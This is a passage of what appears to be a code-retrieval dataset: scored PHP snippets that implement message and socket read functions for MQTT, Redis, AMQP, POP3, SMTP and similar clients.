$message, $length, MSG_WAITALL );\n\t\tif ( strlen( $message ) !== $length )\n\t\t\tthrow new Exception( \"Prefork::read_message() failed receiving message\" );\n\t\treturn $message;\n\t}", "title": "" }, { "docid": "132cb97ab61ada4412f0aa5177f3550b", "score": "0.6030572", "text": "final public function read($message_type=null, & $class=null) {\n if (!empty($message_type)) {\n spMQTTDebug::Log('Message Read: message_type='.$message_type);\n # create message type\n $class = $this->mqtt->getMessageObject($message_type);\n } else {\n spMQTTDebug::Log('Message Read: message_type='.$this->message_type);\n $class = $this;\n }\n\n spMQTTDebug::Log('Message Read: bytes to read='.$class->read_bytes);\n if ($class->read_bytes) {\n $message = $this->mqtt->socket_read($class->read_bytes);\n } else {\n $message = $this->mqtt->socket_read(8192);\n }\n spMQTTDebug::Log('Message read: message=' . spMQTTUtil::PrintHex($message, true));\n spMQTTDebug::Log('Message Read: bytes to read='.$class->read_bytes);\n\n if (!method_exists($class, 'processRead')) {\n throw new SPMQTT_Exception('\"processRead($message)\" not defined in '. get_class($class), 200201);\n }\n\n if ($class->protocol_type == self::FIXED_ONLY) {\n return $class->processRead($message);\n } else if ($class->protocol_type == self::WITH_VARIABLE) {\n return $class->processRead($message);\n } else if ($class->protocol_type == self::WITH_PAYLOAD) {\n return $class->processRead($message);\n } else {\n throw new SPMQTT_Exception('Invalid protocol type', 200202);\n }\n }", "title": "" }, { "docid": "a8cfe71e89c6cc1e9e9bbde2450d42f5", "score": "0.598684", "text": "public function readMessage($queueName, $blocking = true, $jsonDecode = true)\n {\n // get the next element of the list\n if($blocking) {\n $msg = $this->redisClient->BLPOP($queueName, 0);\n if(is_array($msg)) {\n $msg = $msg[1];\n }\n }\n else {\n $msg = $this->redisClient->LPOP($queueName);\n }\n\n // autodecode the message?\n if(null !== $msg && $jsonDecode) {\n $msg = json_decode($msg, true);\n }\n\n // return the message\n return $msg;\n }", "title": "" }, { "docid": "d0aa5bd374fcf16652bd04dd9776fd59", "score": "0.59653753", "text": "public function readMessageAsync($handler)\n {\n /** @var AMQPChannel $channel */\n $this->channelAsync = $this->connection->channel();\n\n // callback function for message, use our handler callback\n $callback = function($message) use ($handler) {\n $handler(json_decode($message->body));\n $this->channelAsync->basic_ack($message->delivery_info['delivery_tag']);\n };\n\n // basic message consumer\n $this->channelAsync->basic_consume(\n $this->queue,\n 'async_consumer',\n self::QUEUE_OPTIONS['no_local'],\n self::QUEUE_OPTIONS['no_ack'],\n self::QUEUE_OPTIONS['exclusive'],\n self::QUEUE_OPTIONS['nowait'],\n $callback\n );\n\n // process messages\n while(count($this->channelAsync->callbacks)) {\n $this->channelAsync->wait();\n }\n\n return;\n }", "title": "" }, { "docid": "af37ee88bb98362c40545b480b5f234c", "score": "0.5889834", "text": "function client_read(StreamSocketInterface $socket, int $size = -1) \n\t{\n\t\treturn $socket->response($size);\n\t}", "title": "" }, { "docid": "52f585ef5caa3874413f61918706ecbe", "score": "0.5883831", "text": "function read () {\n $buff = '';\n $select = $this->select(self::BLOCK_TIMEOUT);\n if ($select === false) {\n return false;\n } else if ($select > 0) {\n $buff = $this->readAll();\n }\n return $buff;\n }", "title": "" }, { "docid": "00f1f7eaf2ea2fae5d12429e13832bf4", "score": "0.5864121", "text": "public function process()\n {\n $msgs = $this->readMessages();\n \n if ($msgs === false) {\n throw new ReadSocketException(sprintf('error read socket: \"%s\"', $this->getSocketUri()));\n }\n \n foreach ($msgs as $aMsg) {\n $resPos = strpos($aMsg, 'Response:');\n $evePos = strpos($aMsg, 'Event:');\n\n if (($resPos !== false) && (($resPos < $evePos) || $evePos === false)) {\n \n $response = $this->messageToResponse($aMsg);\n \n $this->logger->debug(\n sprintf('recv <-- class: \"%s\": \"%s\"', get_class($response), $response)\n );\n $actionId = $response->getActionId();\n \n if (isset($this->incomingQueue[$actionId])) {\n $callback = $this->incomingQueue[$actionId];\n if (is_callable($callback)) {\n unset($this->incomingQueue[$actionId]);\n $callback($response);\n } else {\n $this->logger->warning(sprintf('callback: \"%s\" not callable', gettype($callback)));\n }\n } else {\n $this->logger->warning(sprintf('actionid: \"%s\" not found in queue', $actionId));\n }\n } elseif ($evePos !== false) {\n \n $event = $this->messageToEvent($aMsg);\n \n $this->logger->debug(\n sprintf('recv <-- class: \"%s\": \"%s\"', get_class($event), $event)\n );\n \n $this->dispatch($event);\n \n } else {\n // broken ami.. sending a response with events without\n // Event and ActionId\n \n $this->logger->error(\n sprintf('broken recv <-- raw: \"%s\"', $aMsg)\n );\n }\n }\n }", "title": "" }, { "docid": "9c4d5b8526868b705ee5234aa1fc4c83", "score": "0.5807948", "text": "public function read()\n\t{\n\t\t$this->connect();\n\n\t\t$data = '';\n\n\t\twhile(!feof($this->socket))\n\t\t{\n\t\t\t$data .= fgets($this->socket, 1024);\n\t\t}\n\n\t\treturn strlen($data) ? $data : false;\n\t}", "title": "" }, { "docid": "c4697f589c95fdfae4a88bbf9f6419e5", "score": "0.57746345", "text": "function readAll ($readLen = self::READ_LENGTH) {\n $buff = '';\n do {\n $buff .= $chk = fread($this->sock, $readLen);\n $smd = stream_get_meta_data($this->sock);\n $readLen = min($smd['unread_bytes'], $readLen);\n } while ($chk !== false && $smd['unread_bytes'] > 0);\n if (! $chk) {\n trigger_error(\"Stream fread returned false\", E_USER_WARNING);\n $this->errFlag |= 1;\n }\n if (Connection::DEBUG) {\n echo \"\\n<read>\\n\";\n echo wire\\Hexdump::hexdump($buff);\n }\n return $buff;\n }", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "373c271973719859ba9f783ac851f4c4", "score": "0.5773736", "text": "public function read();", "title": "" }, { "docid": "05b286b66acf72636c6be454452d2548", "score": "0.5754804", "text": "public function read()\n {\n if (feof($this->_stream)) {\n $this->close();\n $this->_debug->info(\"ERROR: Server closed the connection.\");\n throw new Horde_Imap_Client_Exception(\n Horde_Imap_Client_Translation::t(\"POP3 Server closed the connection unexpectedly.\"),\n Horde_Imap_Client_Exception::DISCONNECT\n );\n }\n\n if (($read = fgets($this->_stream)) === false) {\n $this->_debug->info(\"ERROR: IMAP read/timeout error.\");\n throw new Horde_Imap_Client_Exception(\n Horde_Imap_Client_Translation::t(\"Error when communicating with the mail server.\"),\n Horde_Imap_Client_Exception::SERVER_READERROR\n );\n }\n\n $this->_debug->server(rtrim($read, \"\\r\\n\"));\n\n return $read;\n }", "title": "" }, { "docid": "1f8b1c3754a348fe0875bc5d52fc74d8", "score": "0.57051766", "text": "public function readMessage($id_read){\r\n\r\n $this->query('SELECT * FROM `message` \r\n INNER JOIN `utilisateur` ON `utilisateur`.`id_ut` = `message`.`id_destinataire_msg`\r\n WHERE `id_msg` = :id_read ');\r\n $this->bind(\":id_read\", $id_read);\r\n $this->execute();\r\n $row = resultSet();\r\n // si il retourne une resultat on va faire update des champs date de lecture et mettre la valeur etat sur 1 ca veut dire lu \r\n if ($row ==1 AND $row['etat_lu_msg']== 0) {\r\n $this->query('UPDATE `message` SET `etat_lu_msg` = 1,`date_lu_msg`= NOW()\r\n WHERE `id_msg` = :id_read ');\r\n $this->bind(\":id_read\", $id_read);\r\n $this->execute();\r\n\r\n }\r\n }", "title": "" }, { "docid": "60d5d61fd0d3e8e2598a24efcbf62287", "score": "0.567913", "text": "public function read($size=1024) {\n return socket_read($this->sock,$size,PHP_BINARY_READ);\n }", "title": "" }, { "docid": "57696020f9905ba5527cca9a4d4db703", "score": "0.5677873", "text": "protected function _read() {\n return $this->_readLong();\n }", "title": "" }, { "docid": "ee6c659c1762679b7551c78d56a88a0f", "score": "0.5671846", "text": "public function read() {\n // to reduce lags for long term sessions as \n // always the whole response will be passed\n //while(!feof($this->sfh)) {\n while(true) {\n //$s = stream_get_contents($this->sfh,-1); // mem out\n fpassthru($this->sfh); // works but lags without sleep\n //$s = fgets($this->sfh, 64); // does not work, mem out\n //$s = fread($this->sfh, 64); // lags and snips parts\n //if(!(strncmp($s,\"\",1)==0)) echo $s;\n sleep(1); // lag reduction\n // set ob_implicit_flush(1) to not force explicit flushs here\n //ob_flush();\n //flush();\n }\n }", "title": "" }, { "docid": "050e9e4bcf3b387d9d1a6b8ee9dafc23", "score": "0.5669364", "text": "public function readStream();", "title": "" }, { "docid": "9a5d15e1d48be7266ec1ec60ae0a4f8f", "score": "0.5665192", "text": "public function getReadSMS() {\n\t\t// Login to the service if not already done.\n\t\t$this->_logIn();\n\n\t\t// Send HTTP POST request.\n\t\tcurl_setopt($this->_ch, CURLOPT_URL, 'https://www.google.com/voice/inbox/recent/sms/');\n\t\tcurl_setopt($this->_ch, CURLOPT_POST, FALSE);\n\t\tcurl_setopt($this->_ch, CURLOPT_RETURNTRANSFER, TRUE);\n\t\t$xml = curl_exec($this->_ch);\n\n\t\t// Load the \"wrapper\" xml (contains two elements, json and html).\n\t\t$dom = new DOMDocument();\n\t\t$dom->loadXML($xml);\n\t\t$json = $dom->documentElement->getElementsByTagName(\"json\")->item(0)->nodeValue;\n\t\t$json = json_decode($json);\n\n\t\t// Loop through all of the messages.\n\t\t$results = array();\n\t\tforeach($json->messages as $mid=>$convo) {\n\t\t\tif($convo->isRead == TRUE) {\n\t\t\t\t$results[] = $convo;\n\t\t\t}\n\t\t}\n\t\treturn $results;\n\t}", "title": "" }, { "docid": "116ac31c3a8a8a67aa56c930b551f293", "score": "0.5651834", "text": "public function readAll() {\r\n if (!$this -> mHandle) {\r\n $this -> setError('Not connected', 500, mlError);\r\n return '';\r\n } \r\n $lRet = '';\r\n while (!feof($this -> mHandle)) {\r\n $lTmp = fgets($this -> mHandle, $this -> mByteBuffer);\r\n $this -> dbg('READ : '.$lTmp);\r\n if ($lTmp === FALSE) {\r\n $this -> setError('TCP: Data not read', 102, mlError);\r\n return '';\r\n }\r\n $lRet.= $lTmp;\r\n }\r\n return $lRet;\r\n }", "title": "" }, { "docid": "a4fc83dfa994d34e7af873eceeaccfe0", "score": "0.5650118", "text": "function read_wait($stream)\n\t{\n\t\treturn Kernel::readWait($stream); \n\t}", "title": "" }, { "docid": "93017b48ab09b34f9d84296e9d43e67c", "score": "0.5648129", "text": "public function fetch()\n\t{\n\t\ttry {\n\t\t\t$this->deleted && $this->connect();\n\n\t\t\t$message = $this->queue->get(FALSE);\n\t\t\tif(empty($message) || !isset($message['count']) || $message['count'] < 0)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t$this->queue->ack($message['delivery_tag']);\n\t\t\t$content = base64_decode($message['msg']);\n\t\t\t$content = unserialize($content);\n\n\t\t\treturn $content;\n\t\t} catch(Exception $e) {\n\t\t\ttrigger_error(\"Lost connection to rabbit server\", E_USER_WARNING);\n\t\t}\n\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "c19435b52d8259bc3e0410654069b97f", "score": "0.56366396", "text": "function get ($msgNum)\n {\n // where each line of the msg is an array element.\n\n if(!isset($this->FP))\n {\n $this->ERROR = \"POP3 get: No connection to server\";\n return false;\n }\n\n $this->update_timer();\n\n $fp = $this->FP;\n $buffer = $this->BUFFER;\n $cmd = \"RETR $msgNum\";\n $reply = $this->send_cmd($cmd);\n\n if(!$this->is_ok($reply))\n {\n $this->ERROR = \"POP3 get: Error [$reply]\";\n return false;\n }\n\n $count = 0;\n $MsgArray = array();\n\n $line = fgets($fp,$buffer);\n while ( !ereg(\"^\\.\\r\\n\",$line))\n {\n $MsgArray[$count] = $line;\n $count++;\n $line = fgets($fp,$buffer);\n if(empty($line)) { break; }\n }\n return $MsgArray;\n }", "title": "" }, { "docid": "a40db6cd8ecd160fa2719910d2cedf75", "score": "0.5617686", "text": "function read();", "title": "" }, { "docid": "a40db6cd8ecd160fa2719910d2cedf75", "score": "0.5617686", "text": "function read();", "title": "" }, { "docid": "dd0418e59eb8acb00b2b38bd2de3c236", "score": "0.5614799", "text": "protected function rawGet() {\n\t\t$data = '';\n\t\t$endtime = 0;\n\t\t/* If for some reason the fp is bad, don't inf loop */\n\t\tif (!is_resource($this->connection)) {\n\t\t\treturn $data;\n\t\t}\n\t\tstream_set_timeout($this->connection, $this->streamTimeout);\n\t\tif ($this->operationTimeLimit > 0) {\n\t\t\t$endtime = time() + $this->operationTimeLimit;\n\t\t}\n\t\twhile(is_resource($this->connection) && !feof($this->connection)) {\n\t\t\t$str = @fgets($this->connection, 515);\n\t\t\t$data .= $str;\n\t\t\t// if 4th character is a space, we are done reading, break the loop\n\t\t\tif(substr($str, 3, 1) == ' ') { break; }\n\t\t\t// Timed-out? Log and break\n\t\t\t$info = stream_get_meta_data($this->connection);\n\t\t\tif ($info['timed_out']) {\n\t\t\t\t$message = \"SMTP->rawGet(): timed-out ({$this->streamTimeout} seconds)\";\n\t\t\t\t$this->debugOut($message, self::DEBUG_MINIMUM);\n\t\t\t\tthrow new NetworkException($message);\n\t\t\t}\n\t\t\t// Now check if reads took too long\n\t\t\tif ($endtime) {\n\t\t\t\tif (time() > $endtime) {\n\t\t\t\t\t$message = \"SMTP->rawGet(): timelimit reached ({$this->operationTimeLimit} seconds)\";\n\t\t\t\t\t$this->debugOut($message, self::DEBUG_MINIMUM);\n\t\t\t\t\tthrow new NetworkException($message);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$this->debugOut(\"SMTP get data: \\\"$data\\\"\", self::DEBUG_TOTAL);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "bbef80ad4ac6cfe6e4b605882cfef111", "score": "0.561391", "text": "public function readMessage($userid, $messageid){\n\t\tglobal $dblink;\n\n\t\t$v = $dblink->prepare(\"SELECT * FROM message WHERE (msg_to=? OR msg_from=?) AND id=?\");\n\t\t$v->bind_param(\"iii\", $userid, $userid, $messageid);\n\t\t$v->execute();\n\t\t\t$result = get_result($v);\n\t\n\t\tforeach($result as $row) {\n\t\t\treturn $row;\n\t\t}\n\t}", "title": "" }, { "docid": "3b40eb18c40f157c3bfa855e955753f1", "score": "0.55917466", "text": "function read()\n {\n }", "title": "" }, { "docid": "dc1096801e0883b1a70171deb88d5e2b", "score": "0.5583338", "text": "public function on_read()\n {\n $this->logger->log(\"Reading response from server at {$this->remote_address}:{$this->remote_port}\");\n \n // if we can extract a response from the buffer, handle it.\n if ($this->messager->extractMessage($this->read_buffer))\n {\n // handle the response\n $this->handleResponse();\n }\n }", "title": "" }, { "docid": "4a59e30a484680bd21402248d9c467f5", "score": "0.5579127", "text": "function mapi_read($socket=NULL) {\n\t\t# get the first 2 bytes\n\t\tif (($header = socket_read($socket, 2)) == FALSE) {\n\t\t\t$last_error = socket_strerror(socket_last_error());\n\t\t\tthrow new Exception('Lost connection with the server: ' . $last_error);\n\t\t}\n\t\t$data = \"\";\n\n\t\t$chunk_size = ((ord($header[1]) << 7) | (ord($header[0]) >> 1));\n\t\t// keep reading until we have everything\n\t\twhile (strlen($data) < $chunk_size) {\n\t\t\t$data .= socket_read($socket, $chunk_size - strlen($data));\n\t\t}\n\n\n\t\twhile ((ord($header[0]) & 1) == 0) {\n\t\t\tif (($header = socket_read($socket, 2)) == FALSE) {\n\t\t\t\t$last_error = socket_strerror(socket_last_error());\n\t\t\t\tthrow new Exception('Lost connection with the server: ' . $last_error);\n\t\t\t}\n\n\t\t\t$chunk_size = ((ord($header[1])) << 7) | (ord($header[0]) >> 1);\n\n\t\t\t$block = \"\";\n\t\t\twhile (strlen($block) < $chunk_size) {\n\t\t\t\tif (($block .= socket_read($socket, $chunk_size - strlen($block))) == FALSE) {\n\t\t\t\t\t$last_error = socket_strerror(socket_last_error());\n\t\t\t\t\tthrow new Exception('Lost connection with the server: ' . $last_error);\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t\t$data = $data . $block;\n\t\t}\n\t\tif (strlen($data) == 0) {\n\t\t\treturn \"\";\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "00672265fb41d7e38d575a0a359e2172", "score": "0.55716527", "text": "protected function readMessageByUser( $message_id, $user_id )\n\t{\n\t\treturn MessageReadState::firstOrCreate( [ 'message_id' => $message_id, 'user_id' => $user_id ] );\n\t}", "title": "" }, { "docid": "d798591d2bb4568b5da4f3a44ba6639d", "score": "0.55366766", "text": "abstract public function receiveMessage();", "title": "" }, { "docid": "d10d74467faf0a35eb5f4fcf632474b1", "score": "0.5518222", "text": "public function getPRead();", "title": "" }, { "docid": "74c50c00a5749fd605ad02432152f183", "score": "0.55154717", "text": "private function readData(){\n\t\t$len= intval($this->getToken(), 10);\n\t\tif(strlen($this->readBuffer) - $this->readPos > $len){\n\t\t\t$data= substr($this->readBuffer, $this->readPos, $len);\n\t\t\t$this->readPos+= $len;\n\t\t}else{\n\t\t\t$data= substr($this->readBuffer, $this->readPos);\n\t\t\t$read= strlen($data);\n\t\t\t$this->clearBuffer();\n\t\t\twhile($read < $len){\n\t\t\t\t$part= $this->con->read($len - $read);\n\t\t\t\t$read+= strlen($part);\n\t\t\t\t$data.= $part;\n\t\t\t}\n\t\t}\n\t\t$this->fillBuffer();\n\t\t// skip the remaining \\r\\n\n\t\t$this->readPos+= 2;\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "1c237892613c2f19689ea1ac51486efe", "score": "0.551378", "text": "abstract protected function read();", "title": "" }, { "docid": "1c237892613c2f19689ea1ac51486efe", "score": "0.551378", "text": "abstract protected function read();", "title": "" }, { "docid": "1c237892613c2f19689ea1ac51486efe", "score": "0.551378", "text": "abstract protected function read();", "title": "" }, { "docid": "dd4c0fdb1acb9d0938ffaa187a42fdcf", "score": "0.5511631", "text": "public function read($timeout = 1): string\n {\n if($this->debug === true) { echo \"\\nreceiving message : \\n\"; }\n stream_set_timeout($this->socket, $timeout);\n $read = stream_get_contents($this->socket, $this->length);\n if($this->debug === true) { echo $read.\"\\n\"; }\n return $read;\n }", "title": "" }, { "docid": "73cf70a5aec017fe5ae9e36cbcf958c9", "score": "0.5496361", "text": "public function read()\r\n {\r\n $size = shmop_size($this->shmId);\r\n $data = shmop_read($this->shmId, 0, $size);\r\n return $data;\r\n }", "title": "" }, { "docid": "066d36e2e949e804dc51ac49edf93204", "score": "0.54938877", "text": "public function messageReadDone() : void\n {\n $this->checkPost();\n $this->checkParameters([\"message_id\" => [\"int\", \"nonzero\"]]);\n\n $messageId = (int)$_GET[\"message_id\"];\n $this->markMessageReadDone($messageId);\n\n $this->generateStatusResult(\"markReadDoneSuccess\", 1);\n $this->outputResult();\n }", "title": "" }, { "docid": "21c73c9ebd5a384a48b5dc720d570805", "score": "0.54632527", "text": "function getRead(){\n\t}", "title": "" }, { "docid": "83bb57a4419a9c297d5581056f838fde", "score": "0.5449546", "text": "public function get()\n {\n // canary...\n $this->assure();\n \n $msg_actual = $this->_get();\n $msg = $this->decodeMsg($msg_actual);\n if($msg !== null)\n {\n $this->ackSuccess($msg_actual);\n }//if\n \n return $msg;\n \n }", "title": "" }, { "docid": "154c7590d9bcb4cb8cca481c1935977c", "score": "0.5448965", "text": "function _read()\n\t{\n\t\t# So need to stop at end of response tag....\n\t\t$xmlstring = \"\";\n\t\twhile(!feof($this->socket) && !preg_match('@</response>@', $xmlstring))\n\t\t{\n\t\t\t$chars = fread($this->socket,1);\n\t\t\t$xmlstring .= $chars;\n\t\t}\n\t\t# since no EOF given.\n\t\t$this->debug[] = \"READING $xmlstring\";\n\n\t\t#error_log(\"XML=\".print_r($xmlstring,true));\n\n\t\t#$xml = new Xml($xmlstring);\n\t\t#$xmlarray = $xml->toArray();\n\t\t$xmlarray = Xml::toArray(Xml::build($xmlstring));\n\n\t\treturn !empty($xmlarray['Response']) ? $xmlarray['Response'] : null;\n\t}", "title": "" }, { "docid": "e66dd0fdbfe60e7b7afd36bea19a4e7b", "score": "0.5448761", "text": "public function readLine() {\r\n if (!$this -> mHandle) {\r\n $this -> setError('Not connected', '500', mlError);\r\n return '';\r\n } \r\n $lRet = fgets($this -> mHandle, $this -> mByteBuffer);\r\n $this -> dbg('READ : '.$lRet);\r\n if ($lRet === FALSE) {\r\n $this -> setError('TCP: Data not read', 102, mlError);\r\n return '';\r\n }\r\n return $lRet;\r\n }", "title": "" }, { "docid": "e3c8095d592195bc8073210b9d1e71ab", "score": "0.54484075", "text": "protected function doEnsureMessagesIsRead()\n {\n foreach ($this->getMessages() as $message) {\n $message->setIsReadByParticipant($message->getSender(), true);\n $message->ensureIsReadByParticipant($this->getParticipants());\n }\n }", "title": "" }, { "docid": "a5280ef15104617537e379e22767399b", "score": "0.5446457", "text": "public function read(Message $message, User $user)\n {\n if (!$message->isReadBy($user)) {\n $state = $message->read($user);\n $this->onUpdate(false !== $state);\n $message->setRelation('state', $state);\n }\n\n return $message;\n }", "title": "" }, { "docid": "e90c15c5ca5e534e3614fb5991ad96cb", "score": "0.54423654", "text": "public function read() { return; }", "title": "" }, { "docid": "7510543fe8b2fab95257ba37c71be0e3", "score": "0.5440974", "text": "public function redis_streams_xRead_single_Stream()\n {\n // Start from scratch\n $this->assertGreaterThanOrEqual(0, $this->redis->delete($this->key));\n $expected = (int) floor(microtime(true) * 1000) - 1;\n $messageId = $this->redis->xAdd($this->key, '*', ['key' => 'value']);\n $this->assertGreaterThanOrEqual($expected, explode('-', $messageId)[0]);\n\n $messages = [\n $this->key => [\n $messageId => ['key' => 'value']\n ]\n ];\n\n $xRead = $this->redis->xRead([$this->key => $expected . '-0']);\n $this->assertIsIterable($xRead);\n $this->assertIsArray($xRead);\n $this->assertEquals($messages, $xRead);\n $this->assertGreaterThanOrEqual(0, $this->redis->delete($this->key));\n }", "title": "" }, { "docid": "118ed9d8fa340611e6ddd662655018cc", "score": "0.5415439", "text": "public function getReadVoicemail() {\n\t\t// Login to the service if not already done.\n\t\t$this->_logIn();\n\n\t\t// Send HTTP POST request.\n\t\tcurl_setopt($this->_ch, CURLOPT_URL, 'https://www.google.com/voice/inbox/recent/voicemail/');\n\t\tcurl_setopt($this->_ch, CURLOPT_POST, FALSE);\n\t\tcurl_setopt($this->_ch, CURLOPT_RETURNTRANSFER, TRUE);\n\t\t$xml = curl_exec($this->_ch);\n\n\t\t// load the \"wrapper\" xml (contains two elements, json and html)\n\t\t$dom = new DOMDocument();\n\t\t$dom->loadXML($xml);\n\t\t$json = $dom->documentElement->getElementsByTagName(\"json\")->item(0)->nodeValue;\n\t\t$json = json_decode($json);\n\n\t\t// Loop through all of the messages.\n\t\t$results = array();\n\t\tforeach( $json->messages as $mid=>$convo ) {\n\t\t\tif( $convo->isRead == TRUE ) {\n\t\t\t\t$results[] = $convo;\n\t\t\t}\n\t\t}\n\t\treturn $results;\n\t}", "title": "" }, { "docid": "313cbe1ee928bee4bae4bc03836c0292", "score": "0.54071355", "text": "public static function get(string $message)\n {\n Output::message($message);\n return readline();\n }", "title": "" }, { "docid": "164fec772acb8d69e1696f4558afe6b5", "score": "0.53909177", "text": "public function read($nonBlocking = false, $timeout = 10)\n {\n $content = '';\n $time = time() + $timeout;\n $read = \"\";\n while ((!isset($length)) || ($length > 0)) {\n if (feof($this->connection)) {\n $this->connected = false;\n }\n //Check if timeout occured\n if (time() >= $time) {\n return false;\n }\n //If we dont know how much to read we read the first few bytes first, these contain the content-length\n //of whats to come\n if ((!isset($length)) || ($length == 0)) {\n $readLength = 4;\n //$readbuffer = \"\";\n $read = \"\";\n $useSleep = $this->enableReadSleep;\n $readSleepTime = $this->readSleepTimeInitialValue;\n $readSleepTimeLimit = $this->readSleepTimeLimit;\n $readSleepTimeIncrementorLimit = $this->readSleepTimeIncrementorLimit;\n $readSleepTimeIncrementEnabled = $this->readSleepTimeIncrementEnabled;\n $readSleepTimeIncrementor1 = $this->readSleepTimeIncrementor1;\n $readSleepTimeIncrementor2 = $this->readSleepTimeIncrementor2;\n// $loops=0;\n while ($readLength > 0) {\n// $loops++;\n if ($readbuffer = fread($this->connection, $readLength)) {\n $readLength = $readLength - strlen($readbuffer);\n $read .= $readbuffer;\n $time = time() + $timeout;\n } elseif ($useSleep) {\n usleep($readSleepTime);\n if ($readSleepTimeIncrementEnabled) {\n if ($readSleepTime < $readSleepTimeLimit) {\n if ($readSleepTime > $readSleepTimeIncrementorLimit) {\n $readSleepTime += $readSleepTimeIncrementor2;\n } else {\n $readSleepTime += $readSleepTimeIncrementor1;\n }\n }\n }\n }\n //Check if timeout occured\n if (time() >= $time) {\n return false;\n }\n }\n// echo \"LOOPS: $loops\\n\";\n $length = $this->readInteger($read) - 4;\n }\n if ($length > 1000000) {\n $this->connected = false;\n $this->disconnect();\n return false;\n }\n //We know the length of what to read, so lets read the stuff\n if ((isset($length)) && ($length > 0)) {\n $time = time() + $timeout;\n if ($read = fread($this->connection, $length)) {\n $length = $length - strlen($read);\n $content .= $read;\n $time = time() + $timeout;\n }\n if (strpos($content, 'Session limit exceeded') > 0) {\n $read = fread($this->connection, 4);\n $content .= $read;\n }\n }\n if ($nonBlocking && strlen($content) < 1) {\n //there is no content don't keep waiting\n break;\n }\n if (!strlen($read)) {\n usleep(100);\n }\n }\n $this->waitingForMessage = false;\n return $content;\n }", "title": "" }, { "docid": "bc597d94858022dc968f156aeba9bb86", "score": "0.53825104", "text": "function net_read($handle, int $size = -1)\n {\n return Network::read($handle, $size);\n }", "title": "" }, { "docid": "e5660b1068b31a13895b6639ea733a09", "score": "0.53764814", "text": "private function nonblockingRead()\n {\n $read = [STDIN];\n $write = [];\n $except = [];\n $result = stream_select($read, $write, $except, 0);\n\n if ($result === false || $result === 0) {\n return null;\n }\n\n return stream_get_line(STDIN, 1);\n }", "title": "" }, { "docid": "1e7952e611169299b388eed467c097ba", "score": "0.5375161", "text": "public function read()\n {\n $data = shmop_read($this->id, 0, shmop_size($this->id));\n\n return $data;\n }", "title": "" }, { "docid": "fd8a4f3965b8272f64086aa8cad63754", "score": "0.53734815", "text": "public function read ();", "title": "" }, { "docid": "756faa60923519984a5e6c8fb0fd0030", "score": "0.53652894", "text": "public function getRead()\n {\n return $this->read;\n }", "title": "" }, { "docid": "756faa60923519984a5e6c8fb0fd0030", "score": "0.53652894", "text": "public function getRead()\n {\n return $this->read;\n }", "title": "" }, { "docid": "756faa60923519984a5e6c8fb0fd0030", "score": "0.53652894", "text": "public function getRead()\n {\n return $this->read;\n }", "title": "" }, { "docid": "428eebf299cc9bf00f62495087f5a56c", "score": "0.5362127", "text": "function markMessageAsRead($messageUid) {\n\t\t\n\t\t// already marked as read?\n\t\t$where = 'message=\"'.intval($messageUid).'\" ';\n\t\t$where .= 'AND recipient=\"'.intval($GLOBALS['TSFE']->fe_user->user['uid']).'\" ';\n\t\t$where .= 'AND action=\"read\" ';\n \t\t$where .= $this->cObj->enableFields($this->logtable);\n \t\t$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery('*',$this->logtable,$where,$groupBy='',$orderBy='',$limit='');\n \t\t$anz = $GLOBALS['TYPO3_DB']->sql_num_rows($res);\n\t\t\n\t\t// if not already marked as read by user\n\t\tif ($anz == 0) {\n\t\t\n\t\t\t// get message data from db\n\t\t\t$data = $this->getMessageData($messageUid);\n\t\t\t\n\t\t\t// if set by sender: set notification to sender that message is read by the/one recipient\n\t\t\t// only send notification if reading user is a recipient (could also be a sender that reads from outbox)\n\t\t\tif (t3lib_div::inList($data['recipient'],$GLOBALS['TSFE']->fe_user->user['uid']) && $data['notification_read'] == 1) {\n\t\t\t\t$this->sendNotificationRead($data['uid'], $GLOBALS['TSFE']->fe_user->user['uid']);\n\t\t\t}\n\t\t\t\n\t\t\t// mark message as read in the logtable\n\t\t\t$fields_values = array(\n\t\t\t\t'pid' => $this->conf['dataPid'],\n\t\t\t\t'message' => intval($messageUid),\n\t\t\t\t'recipient' => intval($GLOBALS['TSFE']->fe_user->user['uid']),\n\t\t\t\t'action' => 'read',\n\t\t\t);\n\t\t\t$GLOBALS['TYPO3_DB']->exec_INSERTquery($this->logtable,$fields_values,$no_quote_fields=FALSE);\n\t\t}\n\t}", "title": "" }, { "docid": "f003204f2684536c0717204631b890aa", "score": "0.5361611", "text": "public function read() {\n\t}", "title": "" }, { "docid": "f178bf1b8716cb12516fab7b41852f28", "score": "0.535958", "text": "function read() {\n\t\t$fullResult = '';\n\t\t\n\t\tif(!empty($this->link)) {\n\t\t\twhile(true) {\n\t\t\t\t$message = fgets($this->link, 1024);\n\t\t\t\n\t\t\t\tif($message != null) {\n\t\t\t\t\t$fullResult .= $message;\n\t\t\t\t\tif(substr($fullResult, -5, 5) == 'close') {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$fullResult = substr(trim($fullResult), 0, -5);\n\t\t\t$fullResult = base64_decode($fullResult);\n\t\t\t$fullResult = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $this->key, $fullResult, MCRYPT_MODE_CBC, $this->iv);\n\t\t\t\n\t\t\t$pos = strpos($fullResult, '[');\n\t\t\tif($pos != false) 